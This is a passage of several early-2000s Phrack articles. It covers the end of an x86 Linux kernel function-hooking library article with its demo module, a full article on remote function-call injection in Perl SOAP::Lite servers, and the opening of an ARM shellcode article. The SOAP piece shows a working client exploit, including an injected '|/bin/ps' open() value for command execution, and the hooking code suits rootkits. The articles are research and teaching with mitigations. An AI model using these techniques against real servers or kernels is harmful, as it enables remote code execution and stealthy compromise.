nop; nop; nop; nop; nop

nop; nop; nop; nop; nop

nop; nop; nop; nop; nop

nop; nop; nop; nop; nop

nop; nop; nop; nop; nop

Note that empty slots are full of NOP instruction (opcode 0x90) . This mean no operation . When a slot is filled (using khook_add_entry function) , 5 bytes are used :

‑ The call opcode (opcode 0xE8)

‑ The calback offset (4 bytes relative address)

We choose to set a maximum of 8 callbacks . Each of the inserted callbacks are called with one parameter (the %eax pushed value contains the address of the original function parameters, reposing the stack).

D ‑ Reset the stack .

add $0x04, %esp

We now remove the original function's parameter address pushed in (C) . That way, %esp is reset to its old value (the one before entering the step C). At this moment, the stack does not contains the original function's stack frame since it was overwritten on step (A) .

E ‑ Modify the return address of the original function on the stack . On INTEL processors, functions return addresses are saved on the stack, which is not a very good idea for security reasons ;‑) . This modification makes us return where we want (to the hook‑code) after the original function execution. Then we call the original function. On return, the hook code regains control . Let's look at that carefully :

‑> First we get our actual %eip and save it in %esi (the end labels points to some code you can easily identify on step E5). This trick is always used in position independant code.

1. jmp end

begin:

pop %esi

‑> Then we retreive the old return address reposing at 4(%esp) and save it in %eax .

2. movl 4(%esp), %eax

‑> We use that saved return address as an 4 bytes offset at the end of the hook code (see the NULL pointer in step H), so we could return to the right place at the end of the hooking process .

3. movl %eax, 20(%esi)

‑> We modify the return address of the original function so we could return just after the 'call begin' instruction .

4. movl %esi, 4(%esp)

movl $0x00, %eax

‑> We call the original function . The 'end' label is used in step 1, and the 'begin' label points the code just after the "jmp end" (still in step 1) .

The original function will return just after the 'call begin' instruction since we changed its return address .

5. jmp *%eax

end:

call begin

F ‑ Back to the hooking code . We set again the 7 evil bytes in the original function 's code . These bytes were reset to their original values before calling the function, so we need to hook the function again (like in step A) .

This step is noped (replaced by NOP instructions) if the hook is single‑shot (not permanent), so the 7 bytes of our evil indirect jump (step A) are not copied again . This step is very near from step (B) since it use the same copy mechanism (using rep movs* instructions), so refers tothis step for explainations . NULL offsets in the code must be fixed during the hook creation :

‑ The first one (the source buffer) is replaced by the evil bytes buffer .

‑ The second one (the destination buffer) is replaced by the original function entry point address .

movl $0x00, %esi

movl $0x00, %edi

push %ds

pop %es

cld

xor %ecx, %ecx

movb $0x07, %cl

rep movsb

G ‑ Use the original return address (saved on step E2) and get back to the original calling function . The NULL offset you can see (*) must be fixed in step E2 with the original function return address . The %ecx value is then pushed on the stack so the next ret instruction will use it like if it was a saved %eip register on the stack . This returns to the (correct) original place .

movl $0x00, %ecx*

pushl %ecx

ret

‑‑[ 4 ‑ Using the library

‑‑‑‑[ 4.1 ‑ The API

The LKH API is pretty easy to use :

hook_t *khook_create(int addr, int mask);

Create a hook on the address 'addr'. Give also the default type (HOOK_PERMANENT or HOOK_SINGLESHOT) , the default state (HOOK_ENABLED or HOOK_DISABLED) and the default mode (HOOK_AGGRESSIVE or HOOK_DISCRETE) . The type, state and mode are OR'd in the 'mask' parameter .

void khook_destroy(hook_t *h);

Disable, destroy, and free the hook ressources .

int khook_add_entry(hook_t *h, char *routine, int range);

Add a callback to the hook, at the 'range' rank . Return ‑1 if the given rank is invalid . Otherwise, return 0 .

int khook_remove_entry(hook_t *h, int range);

Remove the callback put in slot 'range', return ‑1 if the given rank is invalid . Otherwise return 0 .

void khook_purge(hook_t *h);

Remove all callbacks on this hook .

int khook_set_type(hook_t *h, char type);

Change the type for the hook 'h' . The type can be HOOK_PERMANENT (the hookcode is executed each time the hooked function is called) or HOOK_SINGLESHOT (the hookcode is executed only for 1 hijack, then the hook is cleanly removed .

int khook_set_state(hook_t *h, char state);

Change the state for the hook 'h' . The state can be HOOK_ENABLED (the hook is enabled) or HOOK_DISABLED (the hook is disabled) .

int khook_set_mode(hook_t *h, char mode);

Change the mode for the hook 'h' . The mode can be HOOK_AGGRESSIVE (the hook does not call the hijacked function) or HOOK_DISCRETE (the hook calls the hijacked function after having executed the callback routines) . Some part of the hook code is nop'ed (overwritten by no operation instructions) if the hook is aggressive (step E and step H) .

int khook_set_attr(hook_t *h, int mask);

Change the mode, state, and/or type using a unique function call. The function returns 0 in case of success or ‑1 if the specified mask contains incompatible options .

Note that you can add or remove entries whenever you want, whatever the state , type and mode of the used hook .

‑‑‑‑[ 4.2 ‑ Kernel symbol resolution

A symbol resolution function has been added to LKH, allowing you to access exported functions values .

int ksym_lookup(char *name);

Note that it returns NULL if the symbol remains unresolved . This lookup can resolve symbols contained in the __ksymtab section of the kernel, an exhaustive list of these symbols is printed when executing 'ksyms ‑a' :

bash‑2.03# ksyms ‑a | wc ‑l

1136

bash‑2.03# wc ‑l /boot/System.map

14647 /boot/System.map

bash‑2.03# elfsh ‑f /usr/src/linux/vmlinux ‑s # displaying sections

[SECTION HEADER TABLE]

(nil) ‑‑‑ foffset: (nil) 0 bytes [*Unknown*] (...)

0xc024d9e0 a‑‑ __ex_table foffset: 0x14e9e0 5520 bytes [Program data] 0xc024ef70 a‑‑ __ksymtab foffset: 0x14ff70 9008 bytes [Program data] 0xc02512a0 aw‑ .data foffset: 0x1522a0 99616 bytes [Program data] (...)

(nil) ‑‑‑ .shstrtab foffset: 0x1ad260 216 bytes [String table] (nil) ‑‑‑ .symtab foffset: 0x1ad680 245440 bytes [Symbol table] (nil) ‑‑‑ .strtab foffset: 0x1e9540 263805 bytes [String table]

[END]

As a matter of fact, the memory mapped section __ksymtab does not contains every kernel symbols we would like to hijack.

In the other hand, the non‑mapped section .symtab is definitely bigger (245440 bytes vs 9008 bytes). When using 'ksyms', the __NR_query_module syscall (or __NR_get_kernel_syms for older kernels) is used internaly, this syscall can only access the __ksymtab section since the complete kernel symbol table contained in __ksymtab is not loaded in memory. The solution to access to whole symbol table is to pick up offsets in our System.map file (create it using `nm ‑a vmlinux > System.map`) .

bash‑2.03# ksyms ‑a | grep sys_fork

bash‑2.03# grep sys_fork /boot/System.map

c0105898 T sys_fork

bash‑2.03#

#define SYS_FORK 0xc0105898

if ((s = khook_create((int) SYS_FORK, HOOK_PERMANENT, HOOK_ENABLED)) == NULL) KFATAL("init_module: Cant set hook on function *sys_fork* ! \n", ‑1); khook_add_entry(s, (int) fork_callback, 0);

#undef SYS_FORK

For systems not having System.map or uncompressed kernel image (vmlinux), it is acceptable to uncompress the vmlinuz file (take care, its not a standard gzip format!

[3] contains very useful information about this) and create manually a new System.map file .

Another way to go concerning kernel non‑exported symbols resolution could be a statistic based lookup : Analysing references in the kernel hexadecimal code could allow us to predict the symbol values (fetching call or jmp instructions), the difficulty of this tool would be the portability, since the kernel code changes from a version to another.

Dont forgett t change SYS_FORK to your own sys_fork offset value.

‑‑‑‑[ 4.3 ‑ LKH Internals: the hook_t object

Let's look at the hook_t structure (the hook entity in memory) :

typedef struct s_hook

{

int addr;

int offset;

char saved_bytes[7];

char voodoo_bytes[7];

char hook[HOOK_SIZE];

char cache1[CACHE1_SIZE];

char cache2[CACHE2_SIZE];

} hook_t;

h‑>addr The address of the original function, used to enable or disable the hook .

h‑>offset This field contains the offset from h‑>addr where to begin overwrite to set the hijack . Its value is 3 or 0 , it depends if the function has a stack frame or not .

h‑>original_bytes The seven overwritten bytes of the original function .

h‑>voodoo_bytes The seven bytes we need to put at the beginning of the function to redirect it (contains the indirect jump code seen in step A on paragraph 3) .

h‑>hook The opcodes buffer contaning the hooking code, where we insert callback reference using khook_add_entry() .

The cache1 and cache2 buffers are used to backup some hook code when we set the mode HOOK_AGGRESSIVE (since we have to nop the original function call, saving this code is necessary , for eventually reset the hook as discrete after)

Each time you create a hook, an instance of hook_t is declared and allocated . You have to create one hook per function you want to hijack .

‑‑‑‑[ 5 ‑ Testing the code

Please check http://www.devhell.org/~mayhem/ for fresh code first. The

package (version 1.1) is given at the end of the article) .

Just do #include "lkh.c" and play ! In this example module using LKH, we wants to hook :

‑ the hijack_me() function, here you can check the good parameters passing and their well done modification throught the callbacks .

‑ the schedule() function, SINGLESHOT hijack .

‑ the sys_fork() function, PERMANENT hijack .

‑‑‑‑‑‑[ 5.1 ‑ Loading the module

bash‑2.03# make load

insmod lkh.o

Testing a permanent, aggressive, enabled hook with 3 callbacks:

A in hijack_one = 0 ‑OK‑

B in hijack_one = 1 ‑OK‑

A in hijack_zero = 1 ‑OK‑

B in hijack_zero = 2 ‑OK‑

A in hijack_two = 2 ‑OK‑

B in hijack_two = 3 ‑OK‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Testing a disabled hook:

A in HIJACKME!!! = 10 ‑OK‑

B in HIJACKME!!! = 20 ‑OK‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Calling hijack_me after the hook destruction

A in HIJACKME!!! = 1 ‑OK‑

B in HIJACKME!!! = 2 ‑OK‑

SCHEDULING!

‑‑‑‑‑‑[ 5.2 ‑ Playing around a bit

bash‑2.05# ls

FORKING!

Makefile doc example.c lkh.c lkh.h lkh.o user user.c user.h user.o bash‑2.05# pwd

/usr/src/coding/LKH

(Did not printed FORKING! since pwd is a shell builtin command :)

bash‑2.05# make unload

FORKING!

rmmod lkh;

LKH unloaded ‑ sponsorized by the /dev/hell crew!

bash‑2.05# ls

Makefile doc example.c lkh.c lkh.h lkh.o user user.c user.h user.o bash‑2.05#

You can see "FORKING!" each time the sys_fork() kernel function is called (the hook is permanent) and "SCHEDULING!" when the schedule() kernel function is called for the first time (since this hook is SINGLESHOT, the schedule() function is hijacked only one time, then the hook is removed) .

Here is the commented code for this demo :

‑‑‑‑‑‑[ 5.3 ‑ The code

/*

** LKH demonstration code, developped and tested on Linux x86 2.4.5 **

** The Library code is attached .

** Please check http://www.devhell.org/~mayhem/ for updates .

**

** This tarball includes a userland code (runnable from GDB), the LKH ** kernel module and its include file, and this file (lkm‑example.c) **

** Suggestions {and,or} bug reports are welcomed ! LKH 1.2 already ** in development .

**

** Special thanks to b1nf for quality control ;)

** Shoutout to kraken, keep the good work on psh man !

**

** Thanks to csp0t (one work to describe you : *elite*)

** and cma4 (EPITECH powa, favorite win32 kernel hax0r)

**

** BigKaas to the devhell crew (r1x and nitrogen fux0r)

** Lightman, Gab and Xfred from chx‑labs (stop smoking you junkies ;) **

** Thanks to the phrackstaff and particulary skyper for his

** great support . Le Havre en force ! Case mais oui je t'aime ;) */

#include "lkh.c"

int hijack_me(int a, int b);/* hooked function */

int hijack_zero(void *ptr);/* first callback */

int hijack_one(void *ptr);/* second callback */

int hijack_two(void *ptr);/* third callback */

void hijack_fork(void *ptr);/* sys_fork callback */

void hijack_schedule(void *ptr);/* schedule callback */

static hook_t *h = NULL;

static hook_t *i = NULL;

static hook_t *j = NULL;

int

init_module()

{

int ret;

printk(KERN_ALERT "Change the SYS_FORK value then remove the return \n"); return (‑1);

/*

** Create the hooks

*/

#define SYS_FORK 0xc010584c

j = khook_create(SYS_FORK

, HOOK_PERMANENT

| HOOK_ENABLED

| HOOK_DISCRETE);

#undef SYS_FORK

h = khook_create(ksym_lookup("hijack_me")

, HOOK_PERMANENT

| HOOK_ENABLED

| HOOK_AGGRESSIVE);

i = khook_create(ksym_lookup("schedule")

, HOOK_SINGLESHOT

| HOOK_ENABLED

| HOOK_DISCRETE);

/*

** Yet another check

*/

if (!h || !i || !j)

{

printk(KERN_ALERT "Cannot hook kernel functions \n"); return (‑1);

}

/*

** Adding some callbacks for the sys_fork and schedule functions */

khook_add_entry(i, (int) hijack_schedule, 0); khook_add_entry(j, (int) hijack_fork, 0);

/*

** Testing the hijack_me() hook .

*/

printk(KERN_ALERT "LKH: perm, aggressive, enabled hook, 3 callbacks:\n"); khook_add_entry(h, (int) hijack_zero, 1);

khook_add_entry(h, (int) hijack_one, 0);

khook_add_entry(h, (int) hijack_two, 2);

ret = hijack_me(0, 1);

printk(KERN_ALERT "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\n");

printk(KERN_ALERT "Testing a disabled hook :\n"); khook_set_state(h, HOOK_DISABLED);

ret = hijack_me(10, 20);

khook_destroy(h);

printk(KERN_ALERT "‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\n");

printk(KERN_ALERT "Calling hijack_me after the hook destruction\n"); hijack_me(1, 2);

return (0);

}

void

cleanup_module()

{

khook_destroy(i);

khook_destroy(j);

printk(KERN_ALERT "LKH unloaded ‑ sponsorized by the /dev/hell crew!\n"); }

/*

** Function to hijack

*/

int

hijack_me(int a, int b)

{

printk(KERN_ALERT "A in HIJACKME!!! = %u \t ‑OK‑ \n", a); printk(KERN_ALERT "B in HIJACKME!!! = %u \t ‑OK‑ \n", b); return (42);

}

/*

** First callback for hijack_me()

*/

int

hijack_zero(void *ptr)

{

int *a;

int *b;

a = ptr;

b = a + 1;

printk(KERN_ALERT "A in hijack_zero = %u \t ‑OK‑ \n", *a); printk(KERN_ALERT "B in hijack_zero = %u \t ‑OK‑ \n", *b); (*b)++;

(*a)++;

return (0);

}

/*

** Second callback for hijack_me()

*/

int

hijack_one(void *ptr)

{

int *a;

int *b;

a = ptr;

b = a + 1;

printk(KERN_ALERT "A in hijack_one = %u \t ‑OK‑ \n", *a); printk(KERN_ALERT "B in hijack_one = %u \t ‑OK‑ \n", *b); (*a)++;

(*b)++;

return (1);

}

/*

** Third callback for hijack_me()

*/

int

hijack_two(void *ptr)

{

int *a;

int *b;

a = ptr;

b = a + 1;

printk(KERN_ALERT "A in hijack_two = %u \t ‑OK‑ \n", *a); printk(KERN_ALERT "B in hijack_two = %u \t ‑OK‑ \n", *b); (*a)++;

(*b)++;

return (2);

}

/*

** Callback for schedule() (kernel exported symbol)

*/

void hijack_schedule(void *ptr)

{

printk(KERN_ALERT "SCHEDULING! \n");

}

/*

** Callbacks for sys_fork() (kernel non exported symbol)

*/

void

hijack_fork(void *ptr)

{

printk(KERN_ALERT "FORKING! \n");

}

‑‑[ 6 ‑ References

[1] Kernel function hijacking

http://www.big.net.au/~silvio/

[2] INTEL Developers manual http://developers.intel.com/design/pentiu m4/manuals/

[3] Linux Kernel Internals http://www.linuxdoc.org/guides.html

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

RPC without borders

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x09 of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ RPC without borders (surfing USA ...) ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ stealth <stealth@segfault.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Introduction

In this article I will explain weaknesses as they already exist in today's remote object access technologies (focusing on the new SOAP ‑‑ Simple Object Access Protocol) or may show up in future. I will give a small walk‑around on things already available and will explain why they are used and why it makes sense to use it. Since the topic is *that* large, I can only give you basic ideas of how these things work in general; but I focus on a SOAP implementation in Perl later, where I explain in depth how things break, and will try to 'port' the ideas then. References are given in the end so you may try to figure out remote object access yourself ‑‑ its a damn interesting thing. :‑)

‑‑[ 1. The new RPCs

RPC as you know it has been used in a lot of services for decades such as in NIS or NFS. However these have never been available to multi‑tier applications and web‑applications in paricular (or at least RPC wasn't really made for it).

Since a few years, 'RPC over XML', so called "XML‑RPC" has been defined which should enable developers (web‑developers in paricular) to _easily_ use the RPC capability which has been available to system‑programmers for years. Application‑developers today use CORBA (Common Object Request Broker Architecture), which (in short) adds the ability of accessing objects remotely with RPC. Since the blinking OO world began, developers felt they need to access objects remotely and they are quite happy with CORBA. It allows nice things such as

today = TimeServer_ptr‑>date();

that is it looks like you are accessing a local object, but indeed it is located on some other box. The underlying so called "Middleware" libraries translate this call into sending data in a special format to the server which invokes the request on an object the server registered for remote usage.

The reason for this is that programs have grown so much in recent years that programmers want to have easy ways to access ressources remotely, without the pain of platform‑specifics such as byte‑ordering, different socket‑semantics etc. etc.. There also exist a lot of tools and pre‑compilers which do a lot of work for the programmer already (such as translating an interface‑description into valid C++ code).

Everything is fine except it is a _bit_ complicated and our web‑application‑developers probably do not use it at all, so the need for an easy to access and straight to implement CORBA‑replacement (read 'replacement' as 'we are happy with it, but isn't there an easier way?') seemed to be necessary.

XML‑RPC was there already, so why not building a remote object access facility on top of it? SOAP was born. It allows you to call methods on objects remotely, similar to the example above. Somewhat like OO XML‑RPC.

Unlike the 'normal' RPC where program and version‑numbers were required to specify which function should be called, XML‑RPC allows you to send the full functionname across the socket enveloped into a XML document. You usually need to register the objects (with the corresponding methods) which may be accessed from the outside; at least when I wrote a distributed banking‑application in C++ using CORBA, it worked that way ;‑). This is also true for SOAP technology, as I will explain a few lines later, (indeed, I do not care much about SOAP specification, but on the specific implemenatations) but this time we may send function and object‑names as strings and we will see registering objects does not make the whole thing secure as it is expected to be.

‑‑[ 2. why Perl

I will focus on Perl implementations of SOAP because Perl has the special capability to call functions indirectly:

#!/usr/bin/perl ‑w

use POSIX;

sub AUTOLOAD

{

print "AUTOLOAD: called $AUTOLOAD(@_)\n";

}

sub func1

{

print "called func1(@_)\n";

}

$name = "POSIX::system";

$name‑>("/usr/bin/id");

Isn't that nice, we can specify at runtime which function is called via $name, POSIX::system in this case. Every unknown function you try to invoke i.e. POSIX::nonexisiting will trigger the AUTOLOAD subroutine which is a special gift from Perl. That way, you may load unloaded stuff at runtime when you notice that a function‑call does not 'resolve'. Things are even better, because indirect function‑calls also work fine with tainted data!

#!/usr/bin/perl ‑w ‑T

use POSIX;

$ENV{PATH}="/usr/bin";

$ENV{ENV}="";

sub AUTOLOAD

{

print "AUTOLOAD: called $AUTOLOAD(@_)\n";

}

sub func1

{

print "called func1(@_)\n";

}

for (;;) {

print "Enter function‑name: ";

$name = <STDIN>; chop $name;

print "Enter argument: ";

$arg = <STDIN>; chop $arg;

$name‑>($arg);

}

Giving "func1" and "that" as input will call

func1("that");

even when in tainted mode. Though, it breaks with "POSIX::system" and "/bin/sh" because tainted data would be passed to CORE::system() function at the end which is forbidden. AUTOLOADing also works with tainted data.

Let's just write that to our Notitzblock:

'Perl allows functions to be called indirectly, no matter whether it is in tainted mode or not and the name/argument of that function is retrieved from outside or not.'

‑‑[ 3. How things work

Lets now start right away with a Demo‑program that uses SOAP::Lite [soaplite] to show what XML‑RPC means:

#!/usr/bin/perl ‑w

use SOAP::Transport::HTTP;

$daemon = SOAP::Transport::HTTP::Daemon

‑> new (LocalPort => 8081)

‑> dispatch_to('Demo');

print "Contact to SOAP server at ", $daemon‑>url, "\n"; $daemon‑>handle;

sub authenticated

{

return "Hi @_, you are authenticated now!";

}

package Demo;

sub callme

{

return "called callme";

}

Ok. That was basicly taken from a How‑to‑use‑SOAP guide from [soaplite]. What you do here is starting a small HTTP‑server which listens on port 8081 and delegates the XML‑RPC's to the package 'Demo'. That way, clients may call the callme() function remotely. HTTP is used here, but SOAP works protocol‑independant, so you may use SMTP or whatever here ‑ there are lots of modules shipped with SOAP::Lite. Calling a function basicly works by POSTing a XML‑document to this server now. Here is a small client calling the offered function "callme()":

#!/usr/bin/perl ‑w

use SOAP::Lite;

my $soap = new SOAP::Lite;

# when using HTTP::Daemon, build client like this

if (1) {

$soap‑>uri('http://1.2.3.4/Demo');

$soap‑>proxy('http://1.2.3.4:8081/');

} else {

# if SOAP server is CGI, call like this $soap‑>uri('http://1.2.3.4/Demo');

$soap‑>proxy('http://1.2.3.4/cgi‑bin/soap.cgi');

}

print $soap‑>callme()‑>result();

proxy() allows you to specify which server to contact for the remote‑service. It's not an HTTP‑proxy as you know them from usual web stuff. uri() is used to distinguish between the classes the server offers (coz he may offer more than one). You can see it later in the HTTP‑header sent to the server in the SOAPAction field. As you see, CGI scripts may be used to offer the service, but thats slower than HTTP::Daemon, so we do not discuss it here further (it's the same exploiting technique anyways...).

And thats it! Isnt that nice? RPC can't be easier. The

$soap‑>callme()

is translated by SOAP::Lite's AUTOLOADer into a $soap‑>call("callme"); functioncall which produces the following XML‑document then sent to remote port 8081: (HTTP‑header stripped, output formatted)

<?xml version="1.0" encoding="UTF‑8"?>

<SOAP‑ENV:Envelope xmlns: SOAP‑ENC="http://schemas.xmlsoap.org/soap/encoding/"

SOAP‑ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"

xmlns:SOAP‑ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:xsi="http://www.w3.org/1999/XMLSchema‑instance"

xmlns:xsd="http://www.w3.org/1999/XMLSchema">

<SOAP‑ENV:Body>

<namesp1:callme xmlns:namesp1="http://1.2.3.4/Demo"/>

</SOAP‑ENV:Body>

</SOAP‑ENV:Envelope>

Just to show you that the functionname is passed to remote‑side as string. Got an idea now where we will go today? :‑) To make things complete here's the result:

<?xml version="1.0" encoding="UTF‑8"?>

<SOAP‑ENV:Envelope xmlns: SOAP‑ENC="http://schemas.xmlsoap.org/soap/encoding/"

SOAP‑ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"

xmlns:SOAP‑ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:xsi="http://www.w3.org/1999/XMLSchema‑instance"

xmlns:xsd="http://www.w3.org/1999/XMLSchema">

<SOAP‑ENV:Body>

<namesp7:callmeResponse xmlns:namesp7="http://1.2.3.4/Demo">

<s‑gensym35 xsi:type="xsd:string"> called callme

</s‑gensym35>

</namesp7:callmeResponse>

</SOAP‑ENV:Body>

</SOAP‑ENV:Envelope>

Sucess. I am not going to explain that, as it's first not further of interest and second the bookstore where I ordered a book on SOAP did not send me the book yet.

‑‑[ 4. How things break

Why not trying to call other functions which do not belong to the package? I guess main::authenticated() would be a nice target.

#!/usr/bin/perl ‑w

use SOAP::Lite;

my $soap = new SOAP::Lite;

# when using HTTP::Daemon, build client like so

if (1) {

$soap‑>uri('http://1.2.3.4/Demo');

$soap‑>proxy('http://1.2.3.4:8081/');

} else {

# if SOAP server is CGI, call like so $soap‑>uri('http://1.2.3.4/Demo');

$soap‑>proxy('http://1.2.3.4/cgi‑bin/soap.cgi');

}

print $soap‑>call("X:main::authenticated" => "me")‑>result();

(Do not ask for code‑dup! :‑)

Running against the server seen above:

stealth@linux:SOAP> ./c.pl

Hi Demo me, you are authenticated now!stealth@linux:SOAP>

Wow! "Demo" and "me" are both arguments to authenticated(). Thats because of how SOAPLite works:

... $class‑>$method_name(SOAP::Server::Object‑>objects(@parameters)) ...

The three dots before the method‑call parse the XML‑document, retrieving class‑name method‑uri and method‑name from it. Actually,

Demo‑>main::authenticated("me");

is executed by means of our client‑request. That yields 'Demo' in @_. That's aready the most problematic part of SOAP‑implemenatations in Perl. It allows you to call any function on (in case of SOAP::Lite) any package.

We used main:: in this example but it might be POSIX::system() too. There are other SOAP modules than SOAP::Lite which we could use here, but they also suffer on the same problem. Even when you are not able to specify the class‑name, that is the SOAP implementation has

sub handler

{

# Dave Developer: we are safe, restricting

# access to Calculator package Calculator‑>$method($args);

...

}

you are able to 'breakout' of the package Calculator by giving the full package‑name to $method (main::authenticated in above case). It is something like *package reverse traversal*. That's the whole point. Again, this will work in tainted mode too! A note on SOAP‑namespaces: You have probably seen that we sent indeed 'X:main::authenticated' (prepended 'X:'). Do not ask why, but there is a prefix needed in SOAP::Lite case, otherwise the remote XML‑Parser will complain. On the other hand another SOAP module required to have i.e. POSIX as namespace and system as method which assembled to POSIX::system on the other end. The XML‑document generated by that module produced somehow wrong package::method invokations, so I had to handle that with raw port 80/HTTP requests by myself. Seems that either I got namespace‑handling wrong or the module parsing was broken. (Probably first case, I said the book did not arrived yet, no? :‑)

Hm. I just remember perl has some nice tricks which are possible via open(). Let's see whether we can find some. My requires‑script shows me that SOAP::Transport::HTTP requires HTTP::Daemon (via 'new' call that is invoked by the server, so it's available at runtime). Let's just look at HTTP::Daemon package:

...

package HTTP::Daemon::ClientConn;

...

sub send_file

{

my($self, $file) = @_;

my $opened = 0;

if (!ref($file)) {

local(*F);

open(F, $file) || return undef;

...

Ayeee! An unprotected open() call. To the client we wrote above, add

$soap‑>call("X:HTTP::Daemon::ClientConn::send_file" => "|/bin/ps");

which will call Demo‑>HTTP::Daemon::ClientConn::send_file("|/bin/ps"); which is HTTP::Daemon::ClientConn::send_file(Demo, "|/bin/ps"); where only the second argument is of interest ($file for the open‑call :‑).

OK. I think now you have got an idea of what's going on here, even when the open() call would not be there, it's still dangerous enough as we may call *any*, let me repeat, *any* function in the Perl‑daemon that is availabe at runtime (either in main‑package or a package that is 'use'ed or 'require'd, except CORE which is not accessible).

‑‑[ 5. Tritt ein, bring Glueck herein.

It might be of interest to detect whether on a given port a SOAP‑Lite server is running. Nothing easier than this:

stealth@linux:SOAP> telnet 127.0.0.1 32887

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

POST /x.pl / HTTP 1.1

<?xml version="1.0" encoding="UTF‑8"?><SOAP‑ENV:Envelope xmlns:SOAP‑ENC="http://schemas.xmlsoap.org/soap/encoding/"

SOAP‑ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"

xmlns:SOAP‑ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:xsi="http://www.w3.org/1999/XMLSchema‑instance"

xmlns:xsd="http://www.w3.org/1999/XMLSchema"><SOAP‑ENV:Body>

<SOAP‑ENV:Fault><faultcode xsi:type="xsd:string">SOAP‑ENV:Client</faultcode><faultstring xsi:type="xsd:string">Application failed during request deserialization: no element found at line 1, column 0, byte ‑1 at /usr/lib/perl5/site_perl/5.6.1/i586‑linux/XML/Parser.pm line 185 </faultstring><faultactor xsi:type="xsd:string">http://linux:32887/</faultactor></SOAP‑ENV:Fault>

</SOAP‑ENV:Body></SOAP‑ENV:Envelope>Connection

closed by foreign host.

As you see, SOAP‑Lite is very verbose in its error‑messages. Important line is

/usr/lib/perl5/site_perl/5.6.1/i586‑linux/XML/Parser.pm

which tells us that Perl is used, and that's it.

The classnames are usually described elsewhere to give programmers of the clients all necessary information. Very often the site that runs the SOAP service describes on their website how its interferred with. However, if SOAP becomes widespread one day its probably needed to find better scanning techniques.

‑‑[ 6. No trespassing

It is very interesting that people think security is when they use HTTPS instead of HTTP. I have seen 'secure' SOAP servers which just used HTTPS as underlying protocol and were declared as 'secure servers'.

So, how to protect? Difficult. The ‑T switch to force tainted mode works against direct shell‑escapes but being able to call any internal daemon function is bad enough. Maybe the package‑qualifiers "::" should be stripped. If you allow them it's like allowing ".." in pathnames which leads to reverse traversal (there are better ways to protect against reverse traversal than stripping "..", though) in some cases. Tainting the functionname that comes via the socket will disallow _any_ RPC.

A way might be to put all allowed classes and function‑names into a hash and look whether the received string is contained there. Frontier XML‑RPC module for Perl does it that way, it has a hash of methods it allows like

my %funcs = ('callme' => \&sub1);

where you may only call 'callme' function. You can try to call other functions until your face turns into green, you won't suceed.

To be fair, I must admit that the SOAP specification [SOAP] explicitely says it does not cover security‑releated stuff. Some companies published papers on SOAP security right when I was exploiting my test‑servers. Though, they are almost all releated to encryption and signing topics, just a few cover access‑control such as [big‑blue].

This is not just a Perl issue AFAIK, because other languages also allow indirect calling of functions, such as JAVA or PHP. :‑) I did not look at JAVA or CORBA for Perl but I would not be surprised if similar problems exist there too.

‑‑[ 7. References

[soaplite] The SOAP::Lite implementation for Perl http://www.soaplite.com

I tested SOAP::Lite 0.51 and SOAP 0.28 for Perl.

[] A list of some sites who offer XML‑RPC service, just to

show you it is used at all: http://www.xmlrpc.com/directory/1568/services

[] Mailinglists, links, docu etc. on SOAP:

http://soapware.org

[SOAP] SOAP 1.1 specification http://www.w3.org/TR/2000/NOTE‑SOAP‑20000508/

[big‑blue] SOAP security whitepaper http://www.trl.ibm.com/projects/xml/soap/wp/wp.html

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Developing StrongARM/Linux shellcode

==Phrack Inc.==

Volume 0x0b, Issue 0x3a, Phile #0x0a of 0x0e

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Developing StrongARM/Linux shellcode ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ funkysh <funkysh@sm.pl> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

"Into my ARMs"

‑‑‑[ Introduction

This paper covers informations needed to write StrongARM Linux shellcode. All examples presented in this paper was developed on Compaq iPAQ H3650 with Intel StrongARM‑1110 processor running Debian Linux. Note that this document is not a complete ARM architecture guide nor an assembly language tutorial, while I hope it also does not contain any major bugs, it is perhaps worth noting that StrongARM can be not fully compatible with other ARMs (however, I often refer just to "ARM" when I think it is not an issue). Document is divided into nine sections:

* Brief history of ARM

* ARM architecture

* ARM registers

* Instruction set

* System calls

* Common operations

* Null avoiding

* Example codes

* References

‑‑‑[ Brief history of ARM

First ARM processor (ARM stands for Advanced RISC Machine) was designed and manufactured by Acorn Computer Group in the middle of 80's. Since beginning goal was to construct low cost processor with low power consumption, high performance and power efficiency. In 1990 Acorn together with Apple Computer set up a new company Advanced RISC Machines Ltd. Nowadays ARM Ltd does not make processors only designs them and licenses the design to third party manufacturers. ARM technology is currently licensed by number of huge companies including Lucent, 3Com, HP, IBM, Sony and many others.

